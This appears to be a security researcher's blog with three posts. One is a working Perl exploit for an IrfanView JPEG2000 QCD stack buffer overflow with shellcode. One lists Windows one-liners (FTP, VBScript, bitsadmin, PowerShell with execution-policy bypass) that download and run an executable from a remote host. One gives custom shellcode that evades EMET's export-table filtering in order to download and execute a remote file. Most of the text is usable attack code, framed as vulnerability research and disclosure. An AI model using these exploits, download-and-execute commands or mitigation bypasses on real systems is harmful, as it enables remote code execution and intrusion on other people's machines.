2012
02.10

This vulnerability I had discovered over Christmas while analysing a JP2 image file. In IrfanView the JP2 image is parsed by its plugin library jpeg2000.dll. The vulnerability lies when processing the Quantization Default (QCD) marker segment causing a stack-based buffer overflow. Initially after discovering the vulnerability and getting control of the EIP register I thought exploiting this would be a piece of cake but only if it was that easy. It might be still very simple for an experienced exploit writer but for me it was a bit of a challenge. Below were the steps I took to exploit this vulnerability and to make it as reliable as possible. A Jpeg2000 image file has a number of marker tags defining what each data block does one being the QCD. The QCD marker segment consists of a number of bytes

[QCD tag 0xff5c] + [QCD size 0x0023] + [QCD guard byte 0x22] + [QCD data 32 bytes]

Here 0xff5c is the magic value, 0×0023 or 35 bytes is the size and in this case consists of 2 bytes, 1 guard byte and ending with 32 bytes of data. This size can vary though as you might encounter QCD data of only 4 bytes. If we were to increase this QCD data then this would produce our stack-based buffer overflow. So viewing the QCD data part now here are the offsets for this vulnerability

[buffer 196 bytes] + [EIP] + [ESP contains 6 bytes of our buffer] + [more buffer 7549 bytes]

When overflowed we control EIP but at ESP we have only 6 buffer bytes which we can use and the rest can be seen at ESI – 0×3677 (If their is a way to jump to ESI – 0×3677 do let me know). Since I couldn’t work out how to jump to our ESI – 0×3677 or if its even possible I decided to use the only 6 bytes at ESP to see what can I do. So my plan was to use the pwned return address to jump to ESP and then use the 6 bytes to change our ESI value and jump to ESI. After giving some thought I came up with these instructions

66BE8942   mov si,0x4289 
FFE6       jmp esi    

In this example with these 6 bytes would change the SI value with 0×4289 and then jump to ESI. So what would be the best value to use as this going to be a static value and static values tend to make exploits very unreliable. Spending a bit time testing this on a number of Windows XP SP3 machines I calculated the best value to use would be 0×4289. From the table below the ESI addresses had been taken at the moment of exception when opening the JP2 file various ways

OS ESI Buffer2 start (0×65) JP2 open method
WinXPSP3  0x003472d0 0x00343c59 drop on i_view32.exe
0x003472d0 0x00343c59 drop in IrfanView window
0x003472d0 0x00343c59 double-click
0x0034be00 0×00349791 file–open
       
WinXPSP3  0×00347818 0x003441a1 drop on i_view32.exe
0×00347818 0x003441a1 drop in IrfanView window
0×00347818 0x003441a1 double-click
0×00347880 0×00348179 file–open
       
WinXPSP3  0×00037878 0×00034201 drop on i_view32.exe
0×00037900 0×00034289 drop in IrfanView window
0×00347860 0x003441e9 double-click
0×00037658 0x00037f51 file–open
       
WinXPSP3(VMware) 0×00347560 0x00343ee9 drop on i_view32.exe
0×00347560 0x00343ee9 drop in IrfanView window
0×00347560 0x00343ee9 double-click
0x0034af98 0x00343ee9 file–open
       
WinXPSP3(MSvpc) 0×00347528 0x00343eb1 drop on i_view32.exe
0×00347528 0x00343eb1 drop in IrfanView window
0×00347528 0x00343eb1 double-click
0x003471b0 0x00347ee1 file–open

As we can see the difference 0×3677 or 13943 bytes for all of them apart from the file–open method. Ignoring the file-open method for now I could have used an instruction to substract with ESI but that would have used up all my 6 bytes leaving no bytes to use for the jump. So I used the mov si,0x???? instruction which changes the last two bytes of our ESI register and using only 4 bytes. To exploit all the 3 remaining methods I used the highest value so that it still falls in our buffer which from the table is 0×4289. The reason the file–open method wont work when using the value 0×4289 is too low and does not fall in our buffer whereas the rest are at the same place or in close proximity.

Here is part of the perl code of our QCD bug and the offsets. If in total is more than 7755 (196 + 4 + 6 + 7549 = 7755) then our EIP changes so thats our buffer limit and I’ll use the entire buffer in my exploit as you’ll see further on

$QCD_tag_bug =
"\xff\x5c".                       # <0xff5c=JP2C_QCD>
"\x00\xf5".                       # Arbitrary size to trigger overflow
"\x22";                           # QuantizationStyle = 0x22
                                  #
$QCD_tag_bug .= "\x61" x 196;     # buffer1
$QCD_tag_bug .= "\x62" x 4;       # eip
$QCD_tag_bug .= "\x64" x 6;       # esp
$QCD_tag_bug .= "\x65" x 7549;    # buffer2

Now that I know the best value to use to change our ESI register using up 4 bytes and leaving 2 bytes for my jump. So a simple jump say call esi (0xffd6) should do the trick, but as always its never straight forward. From the choices of instructions below only JMP DWORD PTR DS:[ESI+??] worked for all JP2 open methods. The JMP DWORD PTR DS:[ESI] instruction did work on one machine though but what good is that working on one XP machine out of 5 :-) . The problem with JMP DWORD PTR DS:[ESI+??] instruction is that its uses a 7th byte on our stack which we dont control, luckily this value has always been 0×34 so JMP DWORD PTR DS:[ESI+34] still takes us into our buffer.

FF56 ??    CALL DWORD PTR DS:[ESI+??]
FF66 ??    JMP DWORD PTR DS:[ESI+??]
FF16       CALL DWORD PTR DS:[ESI]
FF26       JMP DWORD PTR DS:[ESI]
FFD6       CALL ESI
FFE6       JMP ESI

Using JMP DWORD PTR DS:[ESI+??] has another problem though in that I had to be precise for it to pick up our next jump address at that point. So once aligned and the buffer filled with call esi addresses (as the location might vary) the call esi took us back into the buffer again and this time our return addresses acted as nops and slided straight to our shellcode.

So our exploit takes the following steps

1. EIP will have our address to jump to ESP
       0x00460ef0 : jmp esp        [i_view32.exe]

2. ESP will have instructions to change ESI and jmp [esi+??]
       66BE8942   MOV SI,0×4289 
       FF66 ??        JMP DWORD PTR DS:[ESI+??]

3. Buffer will contain call esi return addresses used in step 2.
       0x0049014f : call esi          [i_view32.exe]

4. Calls ESI and takes us back in our buffer and now the call esi   instruction acts as nops
       4F                 DEC EDI
       0149 00      ADD DWORD PTR DS:[ECX],ECX

5. Our return address nops meet our normal nops and then our shellcode.

$outfile = "jp2_irfanview_exploit.jp2";
#
$JP2header =
"\x00\x00\x00\x0c".         #
"\x6a\x50\x20\x20".         # [jP  ] <0x6a502020> magic 0xd0a870a,len 12
"\x0d\x0a\x87\x0a".         #
"\x00\x00\x00\x14".         #
"\x66\x74\x79\x70".         # [ftyp] <0x66747970> len 20 data offset 8
"\x6a\x70\x32\x20".         #         MajorVersion = 0x6a703220 = [jp2 ]
"\x00\x00\x00\x00".         #         MinorVersion = 0      = [\0\0\0\0]
"\x6a\x70\x32\x20".         #         Compat = 0x6a703220 = [jp2 ]
"\x00\x00\x00\x38".         #
"\x75\x75\x69\x64".         # [uuid] <0x75756964> len 56 data offset 8
"\x61\x70\x00\xde\xec\x87". # 56 bytes with start and end tags
"\xd5\x11\xb2\xed\x00\x50". #
"\x04\x71\xfd\xdc\xd2\x00". #
"\x00\x00\x40\x01\x00\x00". #         
"\x00\x00\x00\x00\x60\x09". #
"\x00\x00\x00\x00\x00\x00". #
"\x00\x00\x00\x00\x00\x00". #
"\x00\x00\x30\x00\x00\x00". #        
"\x00\x00\x00\x2d".         #
"\x6a\x70\x32\x68".         # [jp2h] <0x6a703268> len 45 data offset 8
"\x00\x00\x00\x16".         #
"\x69\x68\x64\x72".         # [ihdr] <0x69686472> len 22 data offset 8
"\x00\x00\x00\x0a".         #         ImageHeight = 10
"\x00\x00\x00\x0a".         #         ImageWidth = 10 
"\x00\x03".                 #         NumberOfComponents = 3
"\x07".                     #         BitsPerComponent = 7
"\x07".                     #         Compression = 7
"\x01".                     #         Colorspace = 0x1 = unknown
"\x00\x00\x00\x00\x0f".     #                 
"\x63\x6f\x6c\x72".         # [colr] <0x636f6c72> len 15 data offset 8
"\x01".                     #         Method = 1
"\x00".                     #         Precedence = 0
"\x00".                     #         ColorSpaceAproximation = 0
"\x00\x00\x00".             #         EnumeratedColorSpace = 16 = sRGB
"\x10\x00\x00\x00\x00".     #
"\x6a\x70\x32\x63".         # [jp2c] <0x6a703263> length 0 data offset 8
"\xff\x4f".                 # <0xff4f=JP2C_SOC> Start of codestream
"\xff\x51".                 # <0xff51=JP2C_SIZ> length 47
"\x00\x2f".                 #         47 bytes
"\x00\x00".                 #         Capabilities = 0
"\x00\x00\x00\x0a".         #         GridWidth = 10
"\x00\x00\x00\x0a".         #         GridHeight = 10 
"\x00\x00\x00\x00".         #         XImageOffset = 0
"\x00\x00\x00\x00".         #         YImageOffset = 0
"\x00\x00\x00\x0a".         #         TileWidth = 10
"\x00\x00\x00\x0a".         #         TileHeight = 10 
"\x00\x00\x00\x00".         #         Xtileoffset = 0
"\x00\x00\x00\x00".         #         Ytileoffset = 0
"\x00\x03".                 #         NumberOfComponents = 3
"\x07\x01\x01".             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
"\x07\x01\x01".             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
"\x07\x01\x01".             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
"\xff\x52".                 # <0xff52=JP2C_COD> length 12
"\x00\x0c".                 #   12 bytes
"\x00".                     #   codingStyle=0=entropy coder w/o partitio
"\x00".                     #   ProgressionOrder = 0
"\x00\x05".                 #   NumberOfLayers = 0x5
"\x01".                     #   MultiComponentTransform=0x1=5/3 reversib
"\x05".                     #   DecompLevels = 5
"\x04".                     #   CodeBlockWidthExponent=0x4+2 # cbw ->64
"\x04".                     #   CodeBlockHeightExponent=0x4+2 # cbh ->64
"\x00".                     #   CodeBLockStyle = 0
"\x00";                     #   QMIFBankId = 0
#          
#
#
# 1024 bytes away from the start of buffer2 0x4289 + 0x400 = 0x4689
# making it more reliable if the value does vary
#
# mov si,0x4689 jmp dword ptr ds:[esi+??]
#
$QCDESP = "\xbe\x66\x46\x89\x66\xff";
#
#
$QCDEIP = "\x0e\xf0\x00\x46";         # 0x00460ef0 : jmp esp 
#
#
# The return address now acts as nops
#
# 4F               DEC EDI
# 0149 00          ADD DWORD PTR DS:[ECX],ECX
#
#
$QCDEIP2 = "\x4f\x01\x49\x00" x 1700; # 0x0049014f : call esi
#
#
# ruby msfpayload windows/exec CMD=calc.exe exitfunc=process -t perl
# windows/exec - 200 bytes
# http://www.metasploit.com
# VERBOSE=false, EXITFUNC=process, CMD=calc.exe
#
$SHELL =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" .
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" .
"\x65\x78\x65\x00";
#
#
$QCDstart = "\xff\x5c";
#
$QCDsize  =  "\x00\xf5";   # arbitrary size to trigger overflow
#
$QCDguard = "\x22";
#
$QCDBUF   = "\x61" x 196;
#
$QCDPAD   = "\x61" x 4;    # Use this to align if our 7th byte varies
#
$FILLNOPS = 7549 - (length($QCDPAD) + length($QCDEIP2) + length($SHELL));
#
$QCDnops  = "\x90" x $FILLNOPS; 
#
$QCDdata  = $QCDBUF.$QCDEIP.$QCDESP.$QCDPAD.$QCDEIP2.$QCDnops.$SHELL; 
#                                     
$QCDbug   = $QCDstart . $QCDsize . $QCDguard . $QCDdata;
#
#
$JP2image =                         
"\xff\x90".                         # <0xff90=JP2C_SOT>len 10
"\x00\x0a".                         # 10 bytes
"\x00\x00\x00\x00\x00\x68\x00\x01".
"\xff\x93".                         # <0xff93=JP2C_SOD> Start of data
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80".
"\xff\xd9";                         # <0xffd9=JP2C_EOC> End of codestre
#
#
print "[*] Creating JP2 exploit\n";
open (my $pocfile, "> $outfile");
binmode $pocfile;
print $pocfile  $JP2header . $QCDbug . $JP2image;
close $pocfile;
sleep(1);
print "[+] $outfile created\n\n";

In the above exploit the JP2 header information was obtained using the ExifProbe tool on a Ubuntu machine.

 

Applications using Jasper software to parse JP2 files can also be exploited to cause heap-based buffer overflows when copying the QCD marker segment. Have a look at Secunia’s advisory here. I have already made discoveries in applications XnView, IvanView and PhotoLine and they are probably many more to be discovered. If you do discover any vulnerabilities you might want to think about submitting through Secunia’s Vulnerability Coordination Reward Program (SVCRP).

Here is a perl code you can use to create JP2 files with different QCD data sizes to test applications supporting jp2 to see if it triggers any overflows. You just need to change the datalen variable.

$datalen = 32;
$outfile = "jp2botest.jp2";
#
$JP2header =
"\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a\x00\x00\x00\x14".
"\x66\x74\x79\x70\x6a\x70\x32\x20\x00\x00\x00\x00\x6a\x70\x32\x20".
"\x00\x00\x00\x38\x75\x75\x69\x64\x61\x70\x00\xde\xec\x87\xd5\x11".
"\xb2\xed\x00\x50\x04\x71\xfd\xdc\xd2\x00\x00\x00\x40\x01\x00\x00".
"\x00\x00\x00\x00\x60\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x2d\x6a\x70\x32\x68".
"\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0a\x00\x00\x00\x0a".
"\x00\x03\x07\x07\x01\x00\x00\x00\x00\x0f\x63\x6f\x6c\x72\x01\x00".
"\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6a\x70\x32\x63\xff\x4f\xff".
"\x51\x00\x2f\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x07\x01\x01\x07\x01\x01".
"\xff\x52\x00\x0c\x00\x00\x00\x05\x01\x05\x04\x04\x00\x00";
#      
$QCDstart = "\xff\x5c";
$QCDguard = "\x22";                      
$QCDdata  = "\x64" x $datalen;                                         
$QCDlen   = length($QCDstart . $QCDguard . $QCDdata);
$QCDsize  = pack('n', hex(unpack('H*', pack('n', $QCDlen))));
$QCD_tag = $QCDstart . $QCDsize . $QCDguard . $QCDdata;
#
$JP2image =
"\xff\x90\x00\x0a\x00\x00\x00\x00\x00\x68\x00\x01\xff\x93\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\xff\xd9";                     
#
print "[*] Creating JP2 file\n";
open (my $pocfile, "> $outfile");
binmode $pocfile;
print $pocfile  $JP2header . $QCD_tag . $JP2image;
close $pocfile;
sleep(1);
print "[+] $outfile created\n\n";

This IrfanView exploit only works on Windows XP machines and has not been tested on any Windows 7 machines, also the exploit will not work if the DEP settings have been changed to “OptOut” or “AlwaysOn”, so there are still limitations but someone with more expertise may be able to utilize those 6 bytes at esp more efficiently. Finally an update has been released so make sure to let everyone know those using Irfanview to update their software immediately.

References:

http://secunia.com/advisories/47360/
http://packages.ubuntu.com/lucid/exifprobe

2012
01.06

In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method. Most of you would most probably know these methods but I thought I’d post it anyway for my own reference.

FTP method
FTP can be used to download a binary and then get executed with the start command. The downside to this method is that we’ll need to have a FTP server hosting the binary file. Nevertheless the command string length can be reasonably small.

Here the ftp commands which are first echoed to create a script, then run the script by ftp.exe to download the binary and finally executing the binary.

open 192.168.1.3
binary
get /messbox.exe
quit
cmd.exe /c "@echo open 192.168.1.3>script.txt&@echo binary>>script.txt&
@echo get /messbox.exe>>script.txt&@echo quit>>script.txt&@ftp -s:scrip
t.txt -v -A&@start messbox.exe"

We can make the command string smaller by using o for open and b for binary. Also our script file can also be represented as a single character.

WSH method
Windows Scripting Host can also be used to download and execute code. For this we again need to echo out the scripting code to a file and then run our script by cscript.exe.

strFileURL = "http://www.greyhathacker.net/tools/messbox.exe"
strHDLocation = "mess.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0   
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
objShell.Exec("mess.exe")

Below is the code that is chained up and then using cscript.exe to run our script.

cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>poc.vbs
&@echo objXMLHTTP.open "GET","http://www.greyhathacker.net/tools/messbo
x.exe",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLH
TTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject("ADODB
.Stream")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream.
Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.
vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFi
le "mess.exe">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objA
DOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=No
thing>>poc.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>poc.vb
s&@echo objShell.Exec("mess.exe")>>poc.vbs&cscript.exe poc.vbs"

BITSadmin method
Windows 7 comes with a console tool called bitsadmin.exe which can be used to download and upload files. The cool thing about bitsadmin is that it suspends the transfer if a network connection is lost. After reconnection the transfer continues where it left off and executes our code.

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://w
ww.greyhathacker.net/tools/messbox.exe c:\mess.exe&start mess.exe"

PowerShell method
Powershell is a scripting language which comes as standard in Windows 7. Below is a script which downloads and executes mess.exe.

$down = New-Object System.Net.WebClient
$url  = 'http://www.greyhathacker.net/tools/messbox.exe';
$file = 'mess.exe';
$down.DownloadFile($url,$file);
$exec = New-Object -com shell.application
$exec.shellexecute($file);

We can echo this script to a file and then run the script using Powershell with the “bypass” parameter as by default the Powershell policy is set to “restricted”.

powershell.exe -executionpolicy bypass -file poc.ps1

Another elegant way to run our code without any scripts is by chaining our code in one line as shown below

PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g
reyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'
PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g
reyhathacker.net/tools/messbox.exe','mess.exe');(New-Object -com Shell.
Application).ShellExecute('mess.exe');

References:

http://technet.microsoft.com/en-us/library/dd347628.aspx
http://msdn.microsoft.com/en-us/library/aa362812.aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa362813(v=vs.85).aspx

2011
12.19

Recently I have been testing out Microsoft’s “Enhanced Mitigation Experience Toolkit” (EMET) tool for exploit mitigation. This is a free tool and is designed to harden or secure applications without having to recode them. One exploit I used to test was Adobe Flash’s “Action script type confusion” vulnerability (CVE-2010-3654). This vulnerability affects version 10.1.53.64 and below. I used the exploit downloaded from www.Abyssec.com. This exploit worked perfectly on a fully patched Windows 7 supporting hardware DEP set to OptOut on Internet Explorer 8 with Adobe Flash version 10.1.53.64

After enabling EMET on the Internet Explorer executable iexplore.exe and testing again this time broke the exploit. Disabling the mitigation feature “Export Address Table Access Filtering” (EAF) on the process now exploited successfully proving that’s EMET’s EAF was mitigating the shellcode from execution.

Taken from EMET’s user guide it states:

In order to do something “useful”, shellcode generally needs to call Windows APIs. However, in order to call an API, shellcode must first find the address where that API has been loaded. To do this the vast majority of shellcode iterates through the export address table of all loaded modules, looking for modules that contain useful APIs. Typically this involves kernel32.dll or ntdll.dll. Once an interesting module has been found, the shellcode can then figure out the address where an API in that module resides. This mitigation filters accesses to the Export Address Table (EAT), allowing or disallowing the read/write access based on the calling code. With EMET in place, most of today’s shellcode will be blocked when it tries to lookup the APIs needed for its payload.

I see EMET’s EAF being a great feature as even having a system that supports DEP and ALSR, EAF will be another hurdle to get round to exploit successfully. Berend-Jan Wever wrote an article last year showing how to bypass EAF but I thought I’d write my own custom shellcode to bypass EAF. For this example I’ll use the RemoteExec exploit published in my last post. Soon as I protected RemoteExec.exe with EMET my existing exploit broke so my new shellcode will now call the required API’s directly.

Below is my custom asm code which downloads and executes box.exe which I started first with static addresses . The addresses used in this asm code are from a Windows XP SP3 machine.

To assemble our code we run

>nasmw -f bin -o urldownexe.bin urldownexe.asm
[BITS 32]
;
PUSH 0x00206c6c
PUSH 0x642e6e6f
PUSH 0x6d6c7275
MOV EBX,ESP         ; save pointer "urlmon.dll" in EBX
PUSH EBX
MOV EAX,0x7C801D7B        
CALL EAX            ; LoadLibraryA
;
PUSH 0x00657865
PUSH 0x2e786f62
MOV EBX,ESP         ; save pointer "box.exe" in EBX
;
PUSH 0x00206578
PUSH 0x652e786f
PUSH 0x62737365
PUSH 0x6d2f736c
PUSH 0x6f6f742f
PUSH 0x74656e2e
PUSH 0x72656b63
PUSH 0x61687461
PUSH 0x68796572
PUSH 0x672e7777
PUSH 0x772f2f3a
PUSH 0x70747468
MOV ECX,ESP         ; save pointer to in ECX
;                   ; http://www.greyhathacker.net/tools/messbox.exe
XOR EDX,EDX
PUSH EDX            ; put parameters on the stack       
PUSH EDX
PUSH EBX
PUSH ECX
PUSH EDX
;
MOV EAX,0x781C4868
CALL EAX            ; URLDownloadToFileA
;
PUSH 0x00657865
PUSH 0x2e786f62
MOV  EAX,ESP        ; save pointer "box.exe" in EAX
XOR EBX,EBX
PUSH EBX                       
PUSH EAX           
MOV EAX,0x7c86250d  ; WinExec
CALL EAX
;
XOR EAX,EAX        
PUSH EAX
MOV EAX,0x7c81CB12
CALL EAX            ; ExitProcess

To get our opcodes we run

>ndisasmw urldownexe.bin -b 32
00000000  686C6C2000        push dword 0x206c6c
00000005  686F6E2E64        push dword 0x642e6e6f
0000000A  6875726C6D        push dword 0x6d6c7275
0000000F  89E3              mov ebx,esp
00000011  53                push ebx
00000012  B87B1D807C        mov eax,0x7c801d7b
00000017  FFD0              call eax
00000019  6865786500        push dword 0x657865
0000001E  68626F782E        push dword 0x2e786f62
00000023  89E3              mov ebx,esp
00000025  6878652000        push dword 0x206578
0000002A  686F782E65        push dword 0x652e786f
0000002F  6865737362        push dword 0x62737365
00000034  686C732F6D        push dword 0x6d2f736c
00000039  682F746F6F        push dword 0x6f6f742f
0000003E  682E6E6574        push dword 0x74656e2e
00000043  68636B6572        push dword 0x72656b63
00000048  6861746861        push dword 0x61687461
0000004D  6872657968        push dword 0x68796572
00000052  6877772E67        push dword 0x672e7777
00000057  683A2F2F77        push dword 0x772f2f3a
0000005C  6868747470        push dword 0x70747468
00000061  89E1              mov ecx,esp
00000063  31D2              xor edx,edx
00000065  52                push edx
00000066  52                push edx
00000067  53                push ebx
00000068  51                push ecx
00000069  52                push edx
0000006A  B868481C78        mov eax,0x781c4868
0000006F  FFD0              call eax
00000071  6865786500        push dword 0x657865
00000076  68626F782E        push dword 0x2e786f62
0000007B  89E0              mov eax,esp
0000007D  31DB              xor ebx,ebx
0000007F  53                push ebx
00000080  50                push eax
00000081  B80D25867C        mov eax,0x7c86250d
00000086  FFD0              call eax
00000088  31C0              xor eax,eax
0000008A  50                push eax
0000008B  B812CB817C        mov eax,0x7c81cb12
00000090  FFD0              call eax

Finally to test our shellcode we can use Berend’s testival.exe tool

>w32-testival [$]=ascii:urldownexe.bin eip=$ --verbose --eh --eh

 

Now that we know our code works what I needed to do now was to make sure that the addresses used were dynamicly created as hardcoded addresses would not work for Windows 7 due to ASLR (i.e. addresses would change at next boot) plus I had to avoid the bad characters for this exploit. Even though writing custom shellcode might take a bit of time, after writing a ROP exploit writing custom shellcode seemed relatively easy :-)

Below is my completed shellcode that can be used on RemoteExec for Windows 7 with EMET enabled on the process. The key to this exploit was that we had obtained our kernel pointer in our last exploit which then we worked out the VirtualProtect API address and stored it in ESI. With this in mind I used the value of ESI and calculated our API addresses, LoadLibrary, URLDownloadToFileA, WinExec, etc.

my $shellcode =
#
# LoadLibraryA("urlmon.dll");
#
"\x68\x6c\x6c\x00\x00".    # push dword 0x206c6c  # badchar 0x20 -> 0x00
"\x68\x6f\x6e\x2e\x64".    # push dword 0x642e6e6f
"\x68\x75\x72\x6c\x6d".    # push dword 0x6d6c7275
"\x89\xE3".                # mov ebx,esp
"\x53".                    # push ebx
"\x89\xF0".                # mov eax,esi          # esi = VirtualProtect
"\x05\x98\xb0\x00\x00".    # add eax,0xB098       # eax = LoadLibrary
"\xFF\xD0".                # call eax             # LoadLibrary
#
# box.exe - place in current folder
#
"\x68\x65\x78\x65\x00".    # push dword 0x00657865
"\x68\x62\x6f\x78\x2e".    # push dword 0x2e786f62
"\x89\xE3".                # mov ebx,esp
#
# http://www.greyhathacker.net/tools/messbox.exe
#
"\x68\x78\x65\x00\x00".    # push dword 0x206578  # badchar 0x20 -> 0x00
"\x68\x6F\x78\x2E\x65".    # push dword 0x652e786f
"\x68\x65\x73\x73\x62".    # push dword 0x62737365
"\x68\x6C\x73\x2F\x6D".    # push dword 0x6d2f736c
"\x68\x2F\x74\x6F\x6F".    # push dword 0x6f6f742f
"\x68\x2E\x6E\x65\x74".    # push dword 0x74656e2e
"\x68\x63\x6B\x65\x72".    # push dword 0x72656b63
"\x68\x61\x74\x68\x61".    # push dword 0x61687461
"\x68\x72\x65\x79\x68".    # push dword 0x68796572
"\x68\x77\x77\x2E\x67".    # push dword 0x672e7777
"\x68\x3A\x2F\x2F\x77".    # push dword 0x772f2f3a
"\x68\x68\x74\x74\x70".    # push dword 0x70747468
"\x89\xE1".                # mov ecx,esp
#
"\x31\xD2".                # xor edx,edx
"\x52".                    # push edx  - Arg5
"\x52".                    # push edx  - Arg4
"\x53".                    # push ebx  - Arg3
"\x51".                    # push ecx  - Arg2
"\x52".                    # push edx  - Arg1
#
# URLDownloadToFileA(
#              NULL,
#              "http://www.greyhathacker.net/tools/messbox.exe",
#              "box.exe",
#              0,
#              NULL);
#
# At this point eax contains base address of urlmon.dll 0x75bf0000
# Adding 0x96DC8 becomes pointer to URLDownloadToFileA address
#
"\x05\xc8\x6d\x08\x00".    # add eax,0x86DC8      # remove bad char 0x09
"\x05\x00\x00\x01\x00".    # add eax,0x10000  # eax = URLDownloadToFileA
"\xFF\xD0".                # call eax             # URLDownloadToFileA
#
# WinExec("box.exe", 0);
#
"\x68\x65\x78\x65\x00".    # push dword 0x00657865
"\x68\x62\x6f\x78\x2e".    # push dword 0x2e786f62
"\x8B\xC4".                # mov  eax,esp
"\x31\xDB".                # xor ebx,ebx
"\x53".                    # push ebx             # ShowState = SW_HIDE
"\x50".                    # push eax             # CmdLine = box.exe
"\x89\xF0".                # mov eax,esi          # esi = VirtualProtect
"\x05\xe5\xc1\x04\x00".    # add eax,0x4C1E5      # eax = WinExec
"\xFF\xD0".                # call eax             # WinExec
#
# ExitProcess(0);
#
"\x31\xC0".                # xor eax,eax
"\x50".                    # push eax
"\x89\xF0".                # mov eax,esi          # esi = VirtualProtect
"\x05\x15\x90\x01\x00".    # add eax,0x19015      # eax = ExitProcess
"\xFF\xD0";                # call eax             # ExitProcess

Peter Van Eeckhoutte’s exploit writing tutorial “Exploit writing tutorial part 9 : Introduction to Win32 shellcoding” contains a cool perl script written by Peter that does all the hard work of converting our ascii string into push instructions in reverse order, brilliant :-)

EMET is superb tool to have installed and would recommend it to anyone as it will mitigate a number of shellcode based exploits. One thing I would like to see in EMET is the ability to alert the user or have some sort of logging to tell us if shellcode was encountered. This would be useful to discover 0-day exploits out there if we inadvertently got hit by a drive by attack.

References:

http://blogs.technet.com/b/srd/archive/tags/emet/
http://skypher.com/index.php/2010/11/17/bypassing-eaf/
http://www.adobe.com/support/security/advisories/apsa10-05.html
http://www.abysssec.com/blog/2011/04/18/exploiting-adobe-flash-player-on-windows-7/
http://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

2011
11.06

